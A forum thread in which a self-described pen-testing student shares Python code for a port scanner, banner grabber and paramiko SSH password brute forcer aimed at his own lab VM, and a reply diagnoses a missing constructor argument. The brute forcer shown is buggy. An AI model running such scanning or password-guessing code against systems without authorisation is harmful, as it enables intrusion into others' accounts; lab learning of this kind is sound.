

Forum:[Hack Forums](#)

Thread: [brute forcing an ssh.](#)

c0d3dsk1lls - June 18, 2022, 4:12 am

I have been having this error with a ssh brute forcer I coded, and to help u understand where im at, lets start at the beginning of the library, sorry if im not good at explaining this so please bear with me.

So first I coded port_scanner.py
and it worked.

Code import socket
from utils import timefunc

```
class Scanner:
    def __init__(self, ip):
        self.ip = ip
        self.open_ports = []
#-----
    def __repr__(self):
        return 'Scanner: {}'.format(self.ip)

    def add_port(self, port):
        self.open_ports.append(port)

    def scan(self, lowerport, upperport):
        for port in range(lowerport, upperport + 1):
            if self.is_open(port):
                #print(port)
                self.add_port(port)

    def is_open(self, port):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result = s.connect_ex((self.ip, port))
        #print('Port {}: {}'.format(port, result)) # --PRINTS VERTICAL LIST OF PORTS--
        s.close()
        return result == 0

    def write(self, filepath):
        openport = map(str, self.open_ports) #--CONVERTS TO STRING--
        with open(filepath, 'w') as f:
            f.write('\n'.join(openport)) #--WRITES RESULT TO A FILE--
#-----
@timefunc
def main():
    ip = '192.168.0.28'
    scanner = Scanner(ip)
    scanner.scan(1, 65535)
    scanner.write('./open_ports')
    print(scanner.open_ports)
```

```
#-----  
if __name__ == '__main__':  
    main()  
Code from timeit import default_timer as timer
```

```
def timefunc(func):  
    def inner(*args, **kwargs):  
        start = timer()  
        results = func(*args, **kwargs)  
        end = timer()  
        message = '{} took {} seconds'.format(func.__name__, end - start)  
        print(message)  
        return results  
    return inner
```

I created grabber.py

Code from utils import timefunc

import socket

class Grabber:

```
    def __init__(self, ip, port):  
        self.ip = ip  
        self.port = port  
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
        self.socket.connect((self.ip, self.port))  
        self.socket.settimeout(0.5)  
    def read(self, length=1024):  
        return self.socket.recv(length)  
    def close(self):  
        self.socket.close()
```

def main():

```
    grabber = Grabber('192.168.0.30', 80)  
    print(grabber.read())  
    grabber.close()
```

I created grab_and_scan.py

Code from utils import timefunc

from port_scanner import Scanner

from grabber import Grabber

@timefunc

def main():

```
    ip = '192.168.0.30'  
    portrange = (1, 65535)  
    scanner = Scanner(ip)  
    scanner.scan(*portrange)  
    for port in scanner.open_ports:  
        try:  
            grabber = Grabber(ip, port)  
            print(grabber.read())  
            grabber.close()
```

```

except Exception as e:
    print('Error', e)
if __name__ == '__main__':
    main()

```

I then created create_ssh_connection.py

Code import paramiko

```

def main():
    port = '80'
    ip = '192.168.0.30' # unbuntu.
    username = 'sshtest'
    password = 'password'
    timeout = 5
    client_policy = paramiko.AutoAddPolicy()
    client = paramiko.SSHClient();
    client.set_missing_host_key_policy(client_policy)
    client.connect(ip, username=username, password=password)
    print(client)

if __name__ == '__main__':
    main()

```

and it successfully made a connection.

I then created create_connection.py

```

Code import socket
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host = '192.168.0.28'
    port = 80
    s.connect((host, port))
    print('it works')
    s.close()

```

```

if __name__ == '__main__':
    main()

```

and it successfully made connection..

Now here is where my problem is.

Code #BRUTE FORCE-----

```

import itertools as it
import string
from utils import timefunc
import paramiko

def create_client(ip, username, password):
    client = paramiko.SSHClient()
    client_policy = paramiko.AutoAddPolicy()
    client.set_missing_host_key_policy(client_policy)
    return client

```

```

class Brutes:
    def __init__(self, charset, length, ip, username):
        self.charset = charset
        self.length = length
        self.ip = ip

    def crackit(self, username):
        client = create_client(username)
        for guess in self.guesses:
            try:
                client.connect(self.ip, username=username, password=guess)
                return guess
            except paramiko.AuthenticationException as e:
                pass
        finally:
            client.close()
        # if password == guess:
        #     print('Found')
        #     return guess

```

#-----

@property

```

def guesses(self):
    for guess in it.product(self.charset, repeat=self.length):
        yield ''.join(guess)

```

#-----

#@timefunc

```

def main():
    charset = string.ascii_letters + string.digits
    ip = '192.168.0.30'
    brute = Brutes(charset, 4, ip)
    password = brute.crackit(username='sshtest')
    if password:
        print('Found {}'.format(password))

```

```

# for guess in brute.guesses:
#     print(guess)

```

#-----

```

if __name__ == '__main__':
    main()and i keep getting this error..

```

TypeError: Brutes.__init__() missing 1 required positional argument 'username'

and i dont understand what im doing wrong.

yet the brute forcer itself works just fine.

Code #BRUTE FORCE-----

```
import itertools as it
import string
from utils import timefunc
class Brutes:
    #-----

    def __init__(self, charset, length):
        self.charset = charset
        self.length = length

    def crackit(self, password):
        pass
    #-----

    @property

    def guesses(self):
        for guess in it.product(self.charset, repeat=self.length):
            yield ''.join(guess)
    #-----

    @timefunc
    def main():
        charset = string.ascii_letters + string.digits
        brute = Brutes(charset, 4)
        for guess in brute.guesses:
            print(guess)
    #-----

if __name__ == '__main__':
    main()
```

Im using kali linux on virtualbox, trying to connect to my ubuntu which is on another virtualbox. main os is windows.

This has been pestering me for hours, and ive checked it over many times.
any help would be greatly appreciated. I hope its easy to understand.
im training to be a pen tester hense the excersize.

Parks - June 19, 2022, 10:24 am

I'm still learning python myself but when you created Class Brutes, I dont see that you ever did anything with "username" which is required.

Code class Brutes:

```
def __init__(self, charset, length, ip, username):
    self.charset = charset
    self.length = length
    self.ip = ip
```

I also don't see where you pass username to the method crackit()

The error code is your indicator

TypeError: Brutes.__init__() missing 1 required positional argument 'username'

You've probably been looking at your code too long. Welcome to python